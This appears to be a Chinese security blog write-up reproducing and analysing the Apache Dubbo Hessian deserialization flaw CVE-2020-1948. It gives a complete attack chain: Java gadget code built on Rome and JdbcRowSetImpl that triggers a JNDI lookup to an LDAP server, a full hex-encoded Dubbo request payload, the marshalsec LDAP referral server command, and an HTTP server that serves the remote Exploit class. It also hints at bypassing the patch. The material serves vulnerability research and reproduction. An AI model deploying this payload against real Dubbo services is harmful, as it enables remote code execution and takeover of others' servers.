Apache Dubbo 是一款高性能Java RPC框架。漏洞存在于 Apache Dubbo默认使用的反序列化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达到代码执行的目的。
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)
dubbo 支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多种协议。
这里介绍的dubbo漏洞里的dubbo指的是RPC框架。dubbo同时是阿里尚未开发成熟的高效 java 序列化实现,阿里不建议在生产环境使用它。
引用:hessian 是一种跨语言的高效二进制序列化方式。但这里实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。
Hessian [1] 协议用于集成 Hessian 的服务,Hessian 底层采用 Http 通讯,采用 Servlet 暴露服务,Dubbo 缺省内嵌 Jetty 作为服务器实现。
Dubbo 的 Hessian 协议可以和原生 Hessian 服务互操作,即:
一个简单的Hessian序列化使用方法
import com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayOutputStream; import java.io.Serializable; class User implements Serializable { public static void main(String[]args){ // System.out.println("hehe"); } } public class HessianTest { public static void main(String[] args) throws Exception { Object o=new User(); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(o); output.close(); System.out.println(os.toString()); } }
介绍到这有的同学可能就迷了,Dubbo和序列化到底是怎么个关系,可以从以下几点考虑:
通过上面这个关系图,可以看出我们这里研究的是 Dubbo协议 中 Hessian反序列化 漏洞。关系理清楚了下面看一看漏洞复现和分析。
利用dubbo Demo进行环境搭建 https://github.com/apache/dubbo-spring-boot-project
注意选择2.7.6 或以下版本,下载过后添加必要的漏洞利用jar包
下载 2.7.5 版本,用 IDEA 打开 dubbo-spring-boot-samples 文件夹,在provider-sample文件夹下的 pom 里添加:
<dependency> <groupId>com.rometools</groupId> <artifactId>rome</artifactId> <version>1.7.0</version> </dependency>
主要利用Dubbo协议调用其他RPC协议时会涉及到数据的序列化和反序列化操作。如果没有做检查校验很有可能成功反序列化攻击者精心构造的恶意类,利用java调用链使服务端去加载远程的Class文件,通过在Class文件的构造函数或者静态代码块中插入恶意语句从而达到远程代码执行的攻击效果。
在marshalsec工具中,提供了对于Hessian反序列化可利用的几条链:
https://github.com/mbechler/marshalsec
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
我们这次利用Rome构造JNDI注入利用链。关于JNDI在之前调试Fastjson漏洞中有简单说明。
本次主要是利用下面攻击链,攻击链触发过程会在漏洞调试时说明。
- HashMap.put - HashMap.putVal - HashMap.hash - EqualsBean.hashCode - EqualsBean.beanHashCode - ToStringBean.toString - JdbcRowSetImpl.getDatabaseMetaData - JdbcRowSetImpl.connect - Context.lookup
分析攻击链构造过程,这里参考了 原作者的利用链 <a href=”https://www.mail-archive.com/ dev@dubbo.apache.org /msg06544.html””>https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html ,作者以及写的很完整了,我这里搬过来整合了一下。利用了marshalsec jar包,
import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import marshalsec.Hessian; import marshalsec.gadgets.JDKUtil; import java.io.ByteArrayOutputStream; public class GadgetsTestHessian { private static Object getPayload() throws Exception { String jndiUrl = "ldap://127.0.0.1:8087/Exploit";;//最后触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));//EqualsBean.beanHashCode调用ToStringBean.toString EqualsBean root = new EqualsBean(ToStringBean.class,item);//HashMap.hash调用EqualsBean.beanHashCode return JDKUtil.makeMap(root,root);//触发HashMap.put->HashMap.putVal->HashMap.hash } public static void main(String[] args) throws Exception { Object o=getPayload(); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(o); output.close(); System.out.println(os.toString()); } }
这个是Hessian 序列化之后的数据,想要利用起来还要封装一层Dubbo协议,我们采用dubbo-spring-boot项目中的DubboAutoConfigurationConsumerBootstrap类进行构造。这里注意一点如果使用Dubbo的消费者和提供者协议Dubbo会自动Hessian序列化传输的对象,所以下面构造Payload只需将利用编写好之后调用Dubbo协议调用即可。
在DemoService.java中添加commonTest 接口函数
在DubboAutoConfigurationConsumerBootstrap中编写消费者调用函数
在DubboAutoConfigurationProviderBootstrap中编写服务者提供的服务,触发连不在这里所以可以随便写。
在Intellij idea中启动provider服务者,然后运行consumer消费者,利用wireshark获取Apache Dubbo 反序列化payload
dabbc2000000000000000000000003b705322e302e3230366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f5365727669636505312e302e300a636f6d6d6f6e54657374124c6a6176612f6c616e672f4f626a6563743b48433027636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e457175616c734265616e92036f626a096265616e436c61737360433029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e92036f626a096265616e436c61737361431d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706cac06706172616d73096c697374656e657273036d61700a6368617253747265616d0b617363696953747265616d0d756e69636f646553747265616d0c62696e61727953747265616d0f7374724d61746368436f6c756d6e730d694d61746368436f6c756d6e73057265734d4406726f77734d4402727302707304636f6e6e09666574636853697a650866657463684469720969736f6c6174696f6e1065736361706550726f63657373696e6708726561644f6e6c790b636f6e63757272656e63790c6d61784669656c6453697a65076d6178526f77730c717565727954696d656f75740b73686f7744656c657465640a726f77536574547970650a64617461536f757263650355524c07636f6d6d616e64624d136a6176612e7574696c2e486173687461626c655a4e4e4e4e4e4e56106a6176612e7574696c2e566563746f729a03666f6f4e4e4e4e4e4e4e4e4e56919a8f8f8f8f8f8f8f8f8f8f4e4e4e4e4e90cbe8925454cbf090909046cbec1d6c6461703a2f2f3132372e302e302e313a383038372f4578706c6f69744e4e430f6a6176612e6c616e672e436c61737391046e616d65631d636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c633029636f6d2e726f6d65746f6f6c732e726f6d652e666565642e696d706c2e546f537472696e674265616e5191519151915a48047061746830366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963651272656d6f74652e6170706c69636174696f6e3024647562626f2d6175746f2d636f6e6669677572652d636f6e73756d65722d73616d706c6509696e7465726661636530366f72672e6170616368652e647562626f2e737072696e672e626f6f742e64656d6f2e636f6e73756d65722e44656d6f536572766963650776657273696f6e05312e302e305a
╰─➤ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8089/#Exploit 8087
Exploit.java 代码在很多github都能获取 https://github.com/ctlyz123/fastjson_vul
然后在Exploit.class 目录中开启HTTPServer
python -m SimpleHTTPServer 8089
接下来调试整个漏洞触发链
触发练如下图所示:
进入到Dubbo协议的decode环节,其中inputStream是去掉Dubbo协议头的原始数据
在decode函数中会逐步提取Dubbo 协议Body中的内容
in 现在是Hessian2ObjectInput对象,其中包含了要反序列化的二进制内容
在生成反序列化对象时采用的id号是2,从代码中可以看出是Hessian协议。
这里是Hessian 反序列化触发链,从Hessian2ObjectInput到Hessian2Input对象
在Hessian2Input对象中的readobject方法中调用了readMap函数
注意这里的触发条件是 tag == ‘H’,_buffer是请求的二进制协议数据
此时的map为HashMap对象,目前来看一切都在设计之内
接着调用了HashMap.hash方法
触发 key.hashCode方法,key为EqualsBean对象
随后出发了toStringBean的Tostring方法
继续跟入,走到了常见的jndi注入利用链
这里利用了toStringBean的Tostring方法中的反射调用
这之后就是以前经常利用的JNDI利用链了
通过调试可以很清楚查看ldap参数的传递和使用过程
在这之后就是远程类加载和执行了,分析到这应该很清楚payload的调用过程了。
从补丁对比上分析,发现在反序列化之前进行了方法Dubbo方法名的判断,具体如下。
简单的判断method是否为 $echo
或者 $invoke
等,如果方法名称不对的话,在这一步就会死掉,可以尝试下绕过。】
在高版本JDK中默认TRUST_URL_CODE_BASE为False,且有校验,在jdk8u191以后ldap就不能成功了,低版本的JDK还是可以的。
文章中代码整理到了github上
https://github.com/ctlyz123/CVE-2020-1948
感谢师傅们的博客,学习到了很多~~
https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
https://juejin.im/post/5ef2be63f265da02b643218a#heading-6
https://paper.seebug.org/1131/
https://www.anquanke.com/post/id/197658#h3-5